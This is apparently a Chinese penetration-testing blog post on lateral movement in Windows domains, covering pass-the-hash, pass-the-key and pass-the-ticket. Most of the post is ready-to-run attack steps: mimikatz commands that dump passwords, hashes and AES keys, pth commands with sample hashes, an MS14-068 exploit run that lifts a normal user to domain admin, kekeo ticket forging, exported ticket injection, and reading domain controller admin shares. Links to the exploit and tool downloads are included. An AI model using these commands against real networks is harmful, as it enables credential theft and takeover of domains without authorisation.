【内网渗透】域横向PTH&PTK&PTT哈希票据传递


0x001 相关知识

1)PTH(pass the hash) 利用LMNTLM的值进行的渗透测试

PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM HashNTLM Hash访问远程主机或服务,而不用提供明文密码。

如果禁用了NTLM认证,PsExec无法利用获得的NTLM hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2安装补丁kb2871997Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现PTH攻击

总结:KB2871997补丁后的影响

  • PTH:没打补丁用户都可以连接,打了补丁只能administrator连接
  • PTK:打了补丁才能用户都可以连接,采用aes256连接

在这里插入图片描述
2)PTK(pass the key) #利用的ekeys aes256进行的渗透测试

攻击方式同PTH,只是打了补丁后将NTML值换成aes256加密的值

3)PTT(pass the ticket) #利用的票据凭证TGT进行的渗透测试

PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。

MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780

0x002 域横向移动PTH NTML传递

未打补丁下的工作组及域连接:

# mimikatz 命令
privilege::debug           // #提升权限
sekurlsa::logonPasswords   // #抓取密码

sekurlsa::pth /user:administrator /domain:tencent /ntlm:2baaefbdd1ee80755b986ee93a8848b2
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:tencent /ntlm:ccef208c6485269c20db2cad21734fe7

# 上面反弹回来shell 查看域控的d盘信息
dir \\WIN-83V1721VG9V.tencent.com\d$    // 连接使用ip/域名都可以

在这里插入图片描述

0x003 域横向移动PTK aes256传递

KB2871997补丁后的工作组及域连接:

# mimikatz 命令
privilege::debug           // 提升权限
sekurlsa::ekeys            // 获取aes

sekurlsa::pth /user:administrator /domain:tencent /aes256:f305f03562f81f7847f17bcf9477cce414fb47e4271763cf9078cc2566316e0f

在这里插入图片描述

0x004 域横向移动PTT哈希票据传递-ms14068&kekeo&本地

MS14-068

powershell执行

能实现普通用户直接获取域控system权限

1.查看当前sid 
whoami/user
2.清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::purge         // 清空当前机器中所有凭证
mimikatz # kerberos::list          // 查看当前机器凭证
mimikatz # kerberos::ptc 票据文件   // 将票据注入到内存中
3.利用ms14-068生成TGT数据 
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4.票据注入内存
mimikatz.exe "kerberos::ptc [email protected]" exit
5.查看凭证列表 
klist
6.利用  
dir \\192.168.3.21\c$

MS14-068下载:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

利用工具kekeo

1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用net use载入
dir \\192.168.3.21\c$

工具kekeo下载:https://github.com/gentilkiwi/kekeo/releases

利用本地票据(需管理权限)

这种方式是猜测当前电脑连接过域控,并且连接时长没有超过票据的过期时间(10小时)

# mimikatz 命令
privilege::debug           // 提升权限

sekurlsa::tickets /export   // 导出本地所有票据
kerberos::ptt xxxxxxxxxx.xxxx.kirbi  // 导入票据 
dir \\192.168.3.21\c$   // 利用

0x005 开源内网神器Ladon

Ladon使用:https://github.com/k8gege/Ladon

猜你喜欢

转载自blog.csdn.net/weixin_44032232/article/details/114489317